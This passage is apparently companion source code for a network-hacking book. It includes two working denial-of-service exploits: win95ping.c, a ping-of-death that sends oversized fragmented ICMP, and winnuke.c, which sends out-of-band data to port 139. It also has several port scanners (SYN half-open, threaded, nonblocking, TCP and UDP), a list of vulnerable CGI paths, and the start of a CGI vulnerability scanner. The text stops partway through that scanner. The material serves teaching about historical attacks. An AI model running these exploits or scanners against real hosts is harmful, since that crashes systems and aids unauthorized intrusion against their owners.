sendbuf, 172 | sizeof(sendbuf), 173 | 0, 174 | (struct sockaddr *)&servaddr, 175 | sizeof(servaddr)) < 0) { 176 | perror("sendto() failed"); 177 | exit(-1); 178 | } 179 | } 180 | 181 | return 0; 182 | } 183 | 184 | -------------------------------------------------------------------------------- /part2/Chapter 6/win95ping.c: -------------------------------------------------------------------------------- 1 | /* 2 | * win95ping.c 3 | * 4 | * Simulate the evil win95 "ping -l 65510 buggyhost". 5 | * version 1.0 Bill Fenner 22-Oct-1996 6 | * version 1.01 Mike Bremford patched for Linux 7 | * version 1.02 Barak Pearlmutter clean compile 8 | * 9 | * This requires raw sockets that don't mess with the packet at all (other 10 | * than adding the checksum). That means that SunOS, Solaris, and 11 | * BSD4.3-based systems are out. BSD4.4 systems (FreeBSD, NetBSD, 12 | * OpenBSD, BSDI) will work. Linux might work, I don't have a Linux 13 | * system to try it on. 14 | * 15 | * The attack from the Win95 box looks like: 16 | * 17:26:11.013622 cslwin95 > arkroyal: icmp: echo request (frag 6144:1480@0+) 17 | * 17:26:11.015079 cslwin95 > arkroyal: (frag 6144:1480@1480+) 18 | * 17:26:11.016637 cslwin95 > arkroyal: (frag 6144:1480@2960+) 19 | * 17:26:11.017577 cslwin95 > arkroyal: (frag 6144:1480@4440+) 20 | * 17:26:11.018833 cslwin95 > arkroyal: (frag 6144:1480@5920+) 21 | * 17:26:11.020112 cslwin95 > arkroyal: (frag 6144:1480@7400+) 22 | * 17:26:11.021346 cslwin95 > arkroyal: (frag 6144:1480@8880+) 23 | * 17:26:11.022641 cslwin95 > arkroyal: (frag 6144:1480@10360+) 24 | * 17:26:11.023869 cslwin95 > arkroyal: (frag 6144:1480@11840+) 25 | * 17:26:11.025140 cslwin95 > arkroyal: (frag 6144:1480@13320+) 26 | * 17:26:11.026604 cslwin95 > arkroyal: (frag 6144:1480@14800+) 27 | * 17:26:11.027628 cslwin95 > arkroyal: (frag 6144:1480@16280+) 28 | * 17:26:11.028871 cslwin95 > arkroyal: (frag 6144:1480@17760+) 29 | * 17:26:11.030100 cslwin95 > arkroyal: (frag 6144:1480@19240+) 30 | * 17:26:11.031307 cslwin95 > arkroyal: (frag 6144:1480@20720+) 31 | * 17:26:11.032542 cslwin95 > arkroyal: (frag 6144:1480@22200+) 32 | * 17:26:11.033774 cslwin95 > arkroyal: (frag 6144:1480@23680+) 33 | * 17:26:11.035018 cslwin95 > arkroyal: (frag 6144:1480@25160+) 34 | * 17:26:11.036576 cslwin95 > arkroyal: (frag 6144:1480@26640+) 35 | * 17:26:11.037464 cslwin95 > arkroyal: (frag 6144:1480@28120+) 36 | * 17:26:11.038696 cslwin95 > arkroyal: (frag 6144:1480@29600+) 37 | * 17:26:11.039966 cslwin95 > arkroyal: (frag 6144:1480@31080+) 38 | * 17:26:11.041218 cslwin95 > arkroyal: (frag 6144:1480@32560+) 39 | * 17:26:11.042579 cslwin95 > arkroyal: (frag 6144:1480@34040+) 40 | * 17:26:11.043807 cslwin95 > arkroyal: (frag 6144:1480@35520+) 41 | * 17:26:11.046276 cslwin95 > arkroyal: (frag 6144:1480@37000+) 42 | * 17:26:11.047236 cslwin95 > arkroyal: (frag 6144:1480@38480+) 43 | * 17:26:11.048478 cslwin95 > arkroyal: (frag 6144:1480@39960+) 44 | * 17:26:11.049698 cslwin95 > arkroyal: (frag 6144:1480@41440+) 45 | * 17:26:11.050929 cslwin95 > arkroyal: (frag 6144:1480@42920+) 46 | * 17:26:11.052164 cslwin95 > arkroyal: (frag 6144:1480@44400+) 47 | * 17:26:11.053398 cslwin95 > arkroyal: (frag 6144:1480@45880+) 48 | * 17:26:11.054685 cslwin95 > arkroyal: (frag 6144:1480@47360+) 49 | * 17:26:11.056347 cslwin95 > arkroyal: (frag 6144:1480@48840+) 50 | * 17:26:11.057313 cslwin95 > arkroyal: (frag 6144:1480@50320+) 51 | * 17:26:11.058357 cslwin95 > arkroyal: (frag 6144:1480@51800+) 52 | * 17:26:11.059588 cslwin95 > arkroyal: (frag 6144:1480@53280+) 53 | * 17:26:11.060787 cslwin95 > arkroyal: (frag 6144:1480@54760+) 54 | * 17:26:11.062023 cslwin95 > arkroyal: (frag 6144:1480@56240+) 55 | * 17:26:11.063247 cslwin95 > arkroyal: (frag 6144:1480@57720+) 56 | * 17:26:11.064479 cslwin95 > arkroyal: (frag 6144:1480@59200+) 57 | * 17:26:11.066252 cslwin95 > arkroyal: (frag 6144:1480@60680+) 58 | * 17:26:11.066957 cslwin95 > arkroyal: (frag 6144:1480@62160+) 59 | * 17:26:11.068220 cslwin95 > arkroyal: (frag 6144:1480@63640+) 60 | * 17:26:11.069107 cslwin95 > arkroyal: (frag 6144:398@65120) 61 | * 62 | */ 63 | #ifdef LINUX 64 | #define REALLY_RAW 65 | #define __BSD_SOURCE 66 | #ifndef IP_MF 67 | #define IP_MF 0x2000 68 | #define IP_DF 0x4000 69 | #define IP_CE 0x8000 70 | #define IP_OFFSET 0x1FFF 71 | #endif 72 | #endif 73 | 74 | #include 75 | #include 76 | #include 77 | #include 78 | #include 79 | #include 80 | #include 81 | #include 82 | #include 83 | #include 84 | 85 | /* 86 | * If your kernel doesn't muck with raw packets, #define REALLY_RAW. 87 | * This is probably only Linux. 88 | */ 89 | #ifdef REALLY_RAW 90 | #define FIX(x) htons(x) 91 | #else 92 | #define FIX(x) (x) 93 | #endif 94 | 95 | 96 | int 97 | main(int argc, char **argv) 98 | { 99 | int s; 100 | char buf[1500]; 101 | struct ip *ip = (struct ip *)buf; 102 | #ifdef LINUX 103 | struct icmphdr *icmp = (struct icmphdr *)(ip + 1); 104 | #else 105 | struct icmp *icmp = (struct icmp *)(ip + 1); 106 | #endif 107 | struct hostent *hp; 108 | struct sockaddr_in dst; 109 | int offset; 110 | int on = 1; 111 | 112 | bzero(buf, sizeof buf); 113 | 114 | if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP )) < 0) { 115 | perror("socket"); 116 | exit(1); 117 | } 118 | if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) { 119 | perror("IP_HDRINCL"); 120 | exit(1); 121 | } 122 | if (argc != 2) { 123 | fprintf(stderr, "usage: %s hostname\n", argv[0]); 124 | exit(1); 125 | } 126 | if ((hp = gethostbyname(argv[1])) == NULL) { 127 | if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) { 128 | fprintf(stderr, "%s: unknown host\n", argv[1]); 129 | exit(1); 130 | } 131 | } else { 132 | bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length); 133 | } 134 | printf("Sending to %s\n", inet_ntoa(ip->ip_dst)); 135 | ip->ip_v = 4; 136 | ip->ip_hl = sizeof *ip >> 2; 137 | ip->ip_tos = 0; 138 | ip->ip_len = FIX(sizeof buf); 139 | ip->ip_id = htons(4321); 140 | ip->ip_off = FIX(0); 141 | ip->ip_ttl = 255; 142 | ip->ip_p = 1; 143 | #ifdef LINUX 144 | ip->ip_csum = 0; /* kernel fills in */ 145 | #else 146 | ip->ip_sum = 0; /* kernel fills in */ 147 | #endif 148 | ip->ip_src.s_addr = 0; /* kernel fills in */ 149 | 150 | dst.sin_addr = ip->ip_dst; 151 | dst.sin_family = AF_INET; 152 | 153 | #ifdef LINUX 154 | icmp->type = ICMP_ECHO; 155 | icmp->code = 0; 156 | icmp->checksum = htons(~(ICMP_ECHO << 8)); 157 | /* the checksum of all 0's is easy to compute */ 158 | #else 159 | icmp->icmp_type = ICMP_ECHO; 160 | icmp->icmp_code = 0; 161 | icmp->icmp_cksum = htons(~(ICMP_ECHO << 8)); 162 | /* the checksum of all 0's is easy to compute */ 163 | #endif 164 | 165 | for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) { 166 | ip->ip_off = FIX(offset >> 3); 167 | if (offset < 65120) 168 | ip->ip_off |= FIX(IP_MF); 169 | else 170 | ip->ip_len = FIX(418); /* make total 65538 */ 171 | if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst, 172 | sizeof dst) < 0) { 173 | fprintf(stderr, "offset %d: ", offset); 174 | perror("sendto"); 175 | } 176 | if (offset == 0) { 177 | #ifdef LINUX 178 | icmp->type = 0; 179 | icmp->code = 0; 180 | icmp->checksum = 0; 181 | #else 182 | icmp->icmp_type = 0; 183 | icmp->icmp_code = 0; 184 | icmp->icmp_cksum = 0; 185 | #endif 186 | } 187 | } 188 | return 0; 189 | } 190 | -------------------------------------------------------------------------------- /part2/Chapter 6/winnuke.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #define PORT 139 8 | 9 | int main(int argc, char *argv[]) 10 | { 11 | int sd; 12 | char *str = "Crack"; 13 | struct hostent *hp; 14 | struct sockaddr_in winaddr; 15 | 16 | if (argc != 2) { 17 | fprintf(stderr, "Usage: %s \n", argv[0]); 18 | exit(-1); 19 | } 20 | 21 | hp = gethostbyname(argv[1]); 22 | if (hp == NULL) { 23 | herror("gethostbyname() failed"); 24 | exit(-1); 25 | } 26 | 27 | if ( (sd = socket(PF_INET, SOCK_STREAM, 0)) < 0) { 28 | perror("socket() failed"); 29 | exit(-1); 30 | } 31 | 32 | bzero(&winaddr, sizeof(winaddr)); 33 | winaddr.sin_family = AF_INET; 34 | winaddr.sin_port = htons(PORT); 35 | winaddr.sin_addr = *((struct in_addr *)hp->h_addr); 36 | 37 | if (connect(sd, (struct sockaddr *)&winaddr, sizeof(winaddr)) < 0) { 38 | perror("connect() failed"); 39 | exit(-1); 40 | } 41 | 42 | send(sd, str, strlen(str), MSG_OOB); 43 | printf("Done!\n"); 44 | 45 | close(sd); 46 | 47 | return 0; 48 | } 49 | -------------------------------------------------------------------------------- /part2/Chapter 7/halfscan.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #define DEVICE "eth0" 14 | 15 | /*------------------------------*/ 16 | /* Вычисление контрольной суммы */ 17 | /*------------------------------*/ 18 | unsigned short in_cksum(unsigned short *addr, int len) 19 | { 20 | unsigned short result; 21 | unsigned int sum = 0; 22 | 23 | /* складываем все двухбайтовые слова */ 24 | while (len > 1) 25 | { 26 | sum += *addr++; 27 | len -= 2; 28 | } 29 | 30 | /* если остался лишний байт, прибавляем его к сумме */ 31 | if (len == 1) 32 | sum += *(unsigned char*) addr; 33 | 34 | sum=(sum >> 16) + (sum & 0xFFFF); 35 | /* добавляем перенос */ 36 | sum += (sum >> 16); 37 | /* еще раз */ 38 | result = ~sum; 39 | /* инвертируем результат */ 40 | return result; 41 | } 42 | 43 | 44 | /*--------------------------------*/ 45 | /* Формирование и отправка пакета */ 46 | /*--------------------------------*/ 47 | send_packet(int sd, unsigned short port, struct sockaddr_in source, struct hostent* hp) 48 | { 49 | 50 | struct sockaddr_in servaddr; 51 | struct tcphdr tcp_hdr; 52 | 53 | 54 | /* структура псевдопакета */ 55 | struct pseudo_hdr 56 | { 57 | unsigned int source_address; 58 | unsigned int dest_address; 59 | unsigned char place_holder; 60 | unsigned char protocol; 61 | unsigned short length; 62 | struct tcphdr tcp; 63 | } pseudo_hdr; 64 | 65 | bzero(&servaddr, sizeof(servaddr)); 66 | servaddr.sin_family = AF_INET; 67 | servaddr.sin_port = htons(port); 68 | servaddr.sin_addr = *((struct in_addr *)hp->h_addr); 69 | 70 | /* заполняем TCP-заголовок */ 71 | tcp_hdr.source = getpid(); 72 | tcp_hdr.dest = htons(port); 73 | tcp_hdr.seq = htons(getpid() + port); 74 | tcp_hdr.ack_seq = 0; 75 | tcp_hdr.res1 = 0; 76 | tcp_hdr.doff = 5; 77 | tcp_hdr.fin = 0; 78 | tcp_hdr.syn = 1; 79 | tcp_hdr.rst = 0; 80 | tcp_hdr.psh = 0; 81 | tcp_hdr.ack = 0; 82 | tcp_hdr.urg = 0; 83 | tcp_hdr.ece = 0; 84 | tcp_hdr.cwr = 0; 85 | tcp_hdr.window = htons(128); 86 | tcp_hdr.check = 0; 87 | tcp_hdr.urg_ptr = 0; 88 | 89 | /* заполняем псевдозаголовок */ 90 | pseudo_hdr.source_address = source.sin_addr.s_addr; 91 | pseudo_hdr.dest_address = servaddr.sin_addr.s_addr; 92 | pseudo_hdr.place_holder = 0; 93 | pseudo_hdr.protocol = IPPROTO_TCP; 94 | pseudo_hdr.length = htons(sizeof(struct tcphdr)); 95 | 96 | /* копируем заполненный TCP-заголовок после псевдозаголока */ 97 | bcopy(&tcp_hdr, &pseudo_hdr.tcp, sizeof(struct tcphdr)); 98 | 99 | /* вычисляем контрольную сумму в TCP-заголовке */ 100 | tcp_hdr.check = in_cksum((unsigned short *)&pseudo_hdr, sizeof(struct pseudo_hdr)); 101 | 102 | 103 | /* отправляем TCP-пакет */ 104 | 105 | if (sendto(sd, 106 | &tcp_hdr, 107 | sizeof(struct tcphdr), 108 | 0, 109 | (struct sockaddr *)&servaddr, 110 | sizeof(servaddr)) < 0) 111 | perror("sendto() failed"); 112 | 113 | } 114 | 115 | 116 | /*----------------------------------------------*/ 117 | /* Получение ответного пакета и проверка флагов */ 118 | /*----------------------------------------------*/ 119 | int recv_packet(int sd) 120 | { 121 | char recvbuf[1500]; 122 | struct tcphdr *tcphdr = (struct tcphdr *) (recvbuf + sizeof(struct iphdr)); 123 | 124 | 125 | 126 | while(1) 127 | { 128 | if (recv(sd, recvbuf, sizeof(recvbuf), 0) < 0) 129 | perror("recv() failed"); 130 | 131 | 132 | if (tcphdr->dest == getpid()) 133 | { 134 | if(tcphdr->syn == 1 && tcphdr->ack == 1) 135 | return 1; 136 | else 137 | return 0; 138 | } 139 | 140 | } 141 | } 142 | 143 | /* 144 | ------------------------*/ 145 | /* Главная функция main() */ 146 | /*------------------------*/ 147 | int main(int argc, char *argv[]) 148 | { 149 | int sd; 150 | struct ifreq *ifr; 151 | struct hostent* hp; 152 | int port, portlow, porthigh; 153 | unsigned int dest; 154 | struct sockaddr_in source; 155 | struct servent* 156 | srvport; 157 | 158 | if (argc != 4) { 159 | fprintf(stderr, "Usage: %s
\n", argv[0]); 160 | exit(-1); 161 | } 162 | 163 | hp = gethostbyname(argv[1]); 164 | if (hp == NULL) { 165 | herror("gethostbyname() failed"); 166 | exit(-1); 167 | } 168 | 169 | portlow = atoi(argv[2]); 170 | porthigh = atoi(argv[3]); 171 | 172 | if( (sd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) 173 | { 174 | perror("socket() failed"); 175 | exit(-1); 176 | } 177 | 178 | fprintf(stderr, "Running scan...\n"); 179 | 180 | /* получаем IP-адрес интерфейса и заносим его в адресную структуру source */ 181 | sprintf(ifr->ifr_name, "%s", DEVICE); 182 | ioctl(sd, SIOCGIFADDR, ifr); 183 | memcpy((char*)&source, (char*)&(ifr->ifr_addr), sizeof(struct sockaddr)); 184 | 185 | for (port = portlow; port <= porthigh; port++) { 186 | send_packet(sd, port, source, hp); 187 | if (recv_packet(sd) == 1) { 188 | srvport = getservbyport(htons(port), "tcp"); 189 | if (srvport == NULL) 190 | printf("Open: %d (unknown)\n", port); 191 | else 192 | printf("Open: %d (%s)\n", port, srvport->s_name); 193 | 194 | fflush(stdout); 195 | } 196 | } 197 | 198 | close (sd); 199 | 200 | 201 | return 0; 202 | } 203 | 204 | -------------------------------------------------------------------------------- /part2/Chapter 7/ptscan.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #define THREADS_MAX 255 11 | 12 | int port, portlow, porthigh; 13 | pthread_mutex_t lock = PTHREAD_MUTEX_INITIALIZER; 14 | 15 | void *scan(void *arg) 16 | { 17 | int sd; 18 | struct sockaddr_in servaddr; 19 | struct servent *srvport; 20 | struct hostent* hp; 21 | 22 | char *argv1 = (char*)arg; 23 | 24 | hp = gethostbyname(argv1); 25 | if (hp == NULL) { 26 | herror("gethostbyname() failed"); 27 | exit(-1); 28 | } 29 | 30 | bzero(&servaddr, sizeof(servaddr)); 31 | servaddr.sin_family = AF_INET; 32 | servaddr.sin_addr = *((struct in_addr *)hp->h_addr); 33 | 34 | while (port < porthigh) 35 | { 36 | if ( (sd = socket(PF_INET, SOCK_STREAM, 0)) < 0) { 37 | perror("socket() failed"); 38 | exit(-1); 39 | } 40 | 41 | pthread_mutex_lock(&lock); 42 | servaddr.sin_port = htons(port); 43 | 44 | if (connect(sd, (struct sockaddr *)&servaddr, sizeof(servaddr)) == 0) { 45 | srvport = getservbyport(htons(port), "tcp"); 46 | if (srvport == NULL) 47 | printf("Open: %d (unknown)\n", port); 48 | else 49 | printf("Open: %d (%s)\n", port, srvport->s_name); 50 | fflush(stdout); 51 | } 52 | 53 | port++; 54 | close(sd); 55 | pthread_mutex_unlock(&lock); 56 | } 57 | } 58 | 59 | int main(int argc, char *argv[]) 60 | { 61 | pthread_t threads[THREADS_MAX]; 62 | int thread_num; 63 | int i; 64 | 65 | if (argc != 5) { 66 | fprintf(stderr, "Usage: %s
\n", argv[0]); 67 | exit(-1); 68 | } 69 | 70 | thread_num = atoi(argv[4]); 71 | if (thread_num > THREADS_MAX) 72 | fprintf(stderr, "too many threads requested"); 73 | 74 | portlow = atoi(argv[2]); 75 | porthigh = atoi(argv[3]); 76 | port = portlow; 77 | 78 | fprintf(stderr, "Running scan...\n"); 79 | 80 | for (i = 0; i < thread_num; i++) 81 | if (pthread_create(&threads[i], NULL, scan, argv[1]) != 0) 82 | fprintf(stderr, "error creating thread"); 83 | 84 | for (i = 0; i < thread_num; i++) 85 | pthread_join(threads[i], NULL); 86 | 87 | return 0; 88 | } 89 | -------------------------------------------------------------------------------- /part2/Chapter 7/scan-nonblock.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #define MAX_SOCK 50 14 | 15 | open_port(int port) 16 | { 17 | struct servent *srvport; 18 | srvport = getservbyport(htons(port), "tcp"); 19 | if (srvport == NULL) 20 | printf("Open: %d (unknown)\n", port); 21 | else 22 | printf("Open: %d (%s)\n", port, srvport->s_name); 23 | fflush(stdout); 24 | } 25 | 26 | main (int argc, char *argv[]) 27 | { 28 | struct usock_descr{ 29 | int sd; // socket 30 | int state; // current socket state 31 | long timestamp; // time, when sockets open in ms. 32 | unsigned short remoteport; // remote port 33 | }; 34 | 35 | struct usock_descr sockets[MAX_SOCK]; 36 | struct hostent* hp; 37 | struct sockaddr_in servaddr; 38 | struct timeval tv = {0,0}; 39 | fd_set rfds, wfds; 40 | int i, flags, max_fd; 41 | int port, PORT_LOW, PORT_HIGH; 42 | int MAXTIME; 43 | 44 | if (argc != 5) { 45 | fprintf(stderr, "Usage: %s \n", 46 | argv[0]); 47 | exit(-1); 48 | } 49 | 50 | hp = gethostbyname(argv[1]); 51 | if (hp == NULL) { 52 | herror("gethostbyname() failed"); 53 | exit(-1); 54 | } 55 | 56 | PORT_LOW = atoi(argv[2]); 57 | PORT_HIGH = atoi(argv[3]) + 1; 58 | MAXTIME = atoi(argv[4]); 59 | 60 | fprintf(stderr, "Running scan...\n"); 61 | 62 | memset(&servaddr, 0, sizeof(servaddr)); 63 | servaddr.sin_family = AF_INET; 64 | servaddr.sin_addr = *((struct in_addr *)hp->h_addr); 65 | 66 | port = PORT_LOW; 67 | for (i = 0; i < MAX_SOCK; i++) 68 | sockets[i].state = 0; 69 | 70 | while (port < PORT_HIGH) { 71 | for (i = 0; (i < MAX_SOCK) && (port < PORT_HIGH); i++) { 72 | if (sockets[i].state == 0) { 73 | if ( (sockets[i].sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { 74 | perror("socket() failed"); 75 | exit(-1); 76 | } 77 | flags = fcntl(sockets[i].sd, F_GETFL, 0); 78 | if(fcntl(sockets[i].sd, F_SETFL, flags | O_NONBLOCK) == -1) { 79 | perror("fcntl() -- could not set nonblocking"); 80 | exit(-1); 81 | } 82 | sockets[i].state = 1; 83 | } 84 | } 85 | 86 | for (i = 0; (i < MAX_SOCK) && (port < PORT_HIGH); i++) { 87 | if (sockets[i].state == 1) { 88 | servaddr.sin_port = ntohs(port); 89 | if (connect(sockets[i].sd, (struct sockaddr *)&servaddr, sizeof (servaddr)) == -1) { 90 | if (errno != EINPROGRESS) { 91 | shutdown(sockets[i].sd, 2); 92 | close(sockets[i].sd); 93 | sockets[i].state = 0; 94 | } else 95 | sockets[i].state = 2; 96 | } else { 97 | open_port(port); 98 | shutdown(sockets[i].sd, 2); 99 | close(sockets[i].sd); 100 | sockets[i].state = 0; 101 | } 102 | sockets[i].timestamp = time(NULL); 103 | sockets[i].remoteport = port; 104 | port++; 105 | } 106 | } 107 | 108 | FD_ZERO(&rfds); 109 | FD_ZERO(&wfds); 110 | max_fd = -1; 111 | 112 | for (i = 0; i < MAX_SOCK; i++) { 113 | if (sockets[i].state == 2) { 114 | FD_SET(sockets[i].sd, &wfds); 115 | FD_SET(sockets[i].sd, &rfds); 116 | if (sockets[i].sd > max_fd) 117 | max_fd = sockets[i].sd; 118 | } 119 | } 120 | 121 | select(max_fd + 1, &rfds, &wfds, NULL, &tv); 122 | 123 | for (i = 0; i < MAX_SOCK; i++) { 124 | if (sockets[i].state == 2) { 125 | if (FD_ISSET(sockets[i].sd, &wfds) || FD_ISSET(sockets[i].sd, &rfds)) { 126 | int error; 127 | socklen_t err_len = sizeof(error); 128 | if (getsockopt(sockets[i].sd, SOL_SOCKET, SO_ERROR, &error, &err_len) < 0 || error != 0) { 129 | shutdown(sockets[i].sd, 2); 130 | close(sockets[i].sd); 131 | sockets[i].state = 0; 132 | } else { 133 | open_port(sockets[i].remoteport); 134 | shutdown(sockets[i].sd, 2); 135 | close(sockets[i].sd); 136 | sockets[i].state = 0; 137 | } 138 | } else { 139 | if ( (time(NULL) - sockets[i].timestamp) > MAXTIME) { 140 | shutdown(sockets[i].sd, 2); 141 | close(sockets[i].sd); 142 | sockets[i].state = 0; 143 | } 144 | } 145 | } 146 | } 147 | } 148 | 149 | return 0; 150 | } 151 | 152 | -------------------------------------------------------------------------------- /part2/Chapter 7/tcpscan.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | int main(int argc, char *argv[]) 10 | { 11 | int sd; 12 | struct hostent* hp; 13 | struct sockaddr_in servaddr; 14 | struct servent *srvport; 15 | int port, portlow, porthigh; 16 | 17 | if (argc != 4) { 18 | fprintf(stderr, "Usage: %s
\n", argv[0]); 19 | exit(-1); 20 | } 21 | 22 | hp = gethostbyname(argv[1]); 23 | if (hp == NULL) { 24 | herror("gethostbyname() failed"); 25 | exit(-1); 26 | } 27 | 28 | portlow = atoi(argv[2]); 29 | porthigh = atoi(argv[3]); 30 | 31 | fprintf(stderr, "Running scan...\n"); 32 | 33 | for (port = portlow; port <= porthigh; port++) 34 | { 35 | if ( (sd = socket(PF_INET, SOCK_STREAM, 0)) < 0) { 36 | perror("socket() failed"); 37 | exit(-1); 38 | } 39 | 40 | bzero(&servaddr, sizeof(servaddr)); 41 | servaddr.sin_family = AF_INET; 42 | servaddr.sin_port = htons(port); 43 | servaddr.sin_addr = *((struct in_addr *)hp->h_addr); 44 | 45 | if (connect(sd, (struct sockaddr *)&servaddr, sizeof(servaddr)) == 0) { 46 | srvport = getservbyport(htons(port), "tcp"); 47 | if (srvport == NULL) 48 | printf("Open: %d (unknown)\n", port); 49 | else 50 | printf("Open: %d (%s)\n", port, srvport->s_name); 51 | fflush(stdout); 52 | } 53 | close(sd); 54 | } 55 | printf("\n"); 56 | 57 | return 0; 58 | } 59 | -------------------------------------------------------------------------------- /part2/Chapter 7/udpscan.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | send_packet(int sendsock, unsigned short port, struct hostent* hp) 13 | { 14 | struct sockaddr_in servaddr; 15 | char sendbuf[] = "Regard from Sklyaroff Ivan!"; 16 | 17 | bzero(&servaddr, sizeof(servaddr)); 18 | servaddr.sin_family = AF_INET; 19 | servaddr.sin_port = htons(port); 20 | servaddr.sin_addr = *((struct in_addr *)hp->h_addr); 21 | 22 | if (sendto(sendsock, sendbuf, sizeof(sendbuf), 0, (struct sockaddr *)&servaddr, sizeof(servaddr)) < 0) { 23 | perror("sendto() failed"); 24 | } 25 | } 26 | 27 | recv_packet(int recvsock) 28 | { 29 | unsigned char recvbuf[1500]; 30 | struct icmp *icmp; 31 | struct ip *iphdr; 32 | int iplen; 33 | fd_set fds; 34 | struct timeval wait; 35 | 36 | wait.tv_sec = 1; 37 | wait.tv_usec = 0; 38 | 39 | while(1) 40 | { 41 | FD_ZERO(&fds); 42 | FD_SET(recvsock, &fds); 43 | 44 | if (select(recvsock+1, &fds, NULL, NULL, &wait) > 0) { 45 | recvfrom(recvsock, &recvbuf, sizeof(recvbuf), 0x0, NULL, NULL); 46 | } else if (!FD_ISSET(recvsock, &fds)) 47 | return 1; 48 | else 49 | perror("recvfrom() failed"); 50 | 51 | iphdr = (struct ip *)recvbuf; 52 | iplen = iphdr->ip_hl << 2; 53 | icmp = (struct icmp *)(recvbuf + iplen); 54 | 55 | if ( (icmp->icmp_type == ICMP_UNREACH) && 56 | (icmp->icmp_code == ICMP_UNREACH_PORT)) 57 | return 0; 58 | } 59 | } 60 | 61 | int main(int argc, char *argv[]) 62 | { 63 | int sendsock, recvsock; 64 | int port, portlow, porthigh; 65 | struct hostent* hp; 66 | unsigned int dest; 67 | struct servent* srvport; 68 | 69 | if (argc != 4) { 70 | fprintf(stderr, "Usage: %s
\n", argv[0]); 71 | exit(-1); 72 | } 73 | 74 | hp = gethostbyname(argv[1]); 75 | if (hp == NULL) { 76 | herror("gethostbyname() failed"); 77 | exit(-1); 78 | } 79 | 80 | portlow = atoi(argv[2]); 81 | porthigh = atoi(argv[3]); 82 | 83 | if ( (sendsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) { 84 | perror("sendsock failed"); 85 | exit(-1); 86 | } 87 | 88 | if ( (recvsock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) { 89 | perror("recvsock failed"); 90 | exit(-1); 91 | } 92 | 93 | fprintf(stderr, "Running scan...\n"); 94 | 95 | for (port = portlow; port <= porthigh; port++) { 96 | send_packet(sendsock, port, hp); 97 | if (recv_packet(recvsock) == 1) { 98 | srvport = getservbyport(htons(port), "udp"); 99 | if (srvport == NULL) 100 | printf("Open: %d (unknown)\n", port); 101 | else 102 | printf("Open: %d (%s)\n", port, srvport->s_name); 103 | 104 | fflush(stdout); 105 | } 106 | } 107 | 108 | return 0; 109 | } 110 | 111 | -------------------------------------------------------------------------------- /part2/Chapter 8/cgi-bugs.dat: -------------------------------------------------------------------------------- 1 | /cgi-bin/account.cgi 2 | /?PageServices 3 | /cgi-bin/test-cgi 4 | /cgi-bin/webgais 5 | /sЯripts/tools/newdsn.exe 6 | /_vti_pvt/*.* 7 | /catalog_type.asp 8 | /cgi-bin/formmail.pl 9 | /...../BUG 10 | /cgi-bin/cgimail.exe 11 | /cgi-bin/faxsurvey 12 | /cgi-bin/hello.bat 13 | /sЯripts/iisadmin/bdir.htr 14 | /cgi-bin/webutil.pl/cgi-bin/rwwwshell.pl 15 | /cgi-bin/phf 16 | /cgi-bin/Count.cgi 17 | /cgi-bin/nph-test-cgi 18 | /cgi-bin/php.cgi 19 | /cgi-bin/htmlscript 20 | /cgi-bin/perl.exe 21 | /cgi-bin/AT-admin.cgi 22 | /scripts/issadmin/bdir.htr 23 | /scripts/counter.exe 24 | /scripts/visadmin.exe 25 | /......../autoexec.bat 26 | -------------------------------------------------------------------------------- /part2/Chapter 8/cgi-scanner.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | char *port_host; 10 | char *name; 11 | 12 | void token(char *arg) 13 | { 14 | name = strtok(arg, ":"); 15 | port_host = strtok(NULL, ""); 16 | 17 | if (port_host == NULL) 18 | port_host = "80"; 19 | } 20 | 21 | int main(int argc, char* argv[]) 22 | { 23 | FILE *fd; 24 | int sd; 25 | int bytes; 26 | char buf[250]; 27 | char str1[270]; 28 | char str2[100]; 29 | struct hostent* host; 30 | struct sockaddr_in servaddr; 31 | 32 | if (argc < 2 || argc > 3) { 33 | printf("Usage: %s host[:port] [proxy][:port]\n\n", argv[0]); 34 | exit(-1); 35 | } 36 | 37 | fprintf(stderr, "=====================================\n"); 38 | fprintf(stderr, "= Simple command line CGI-scanner =\n"); 39 | fprintf(stderr, "= by Ivan Sklyaroff, 2006. =\n"); 40 | fprintf(stderr, "=====================================\n"); 41 | 42 | if (argc == 3) 43 | token(argv[2]); 44 | else 45 | token(argv[1]); 46 | 47 | if ( (host = gethostbyname(name)) == NULL) { 48 | herror("gethostbyname() failed"); 49 | exit(-1); 50 | } 51 | 52 | bzero(&servaddr, sizeof(servaddr)); 53 | servaddr.sin_family = AF_INET; 54 | servaddr.sin_port = htons(atoi(port_host)); 55 | servaddr.sin_addr = *((struct in_addr *)host->h_addr); 56 | 57 | if( (fd = fopen("cgi-bugs.dat","r")) == NULL) { 58 | perror("fopen() failed"); 59 | exit(-1); 60 | } 61 | 62 | fprintf(stderr, " Start scanning \"%s\"...\n", argv[1]); 63 | fprintf(stderr, "======================================\n"); 64 | 65 | while (fgets(buf,250,fd) != NULL) { 66 | 67 | buf[strcspn(buf, "\r\n\t")] = 0; 68 | if (strlen(buf) == 0) continue; 69 | 70 | if ( (sd = socket(PF_INET, 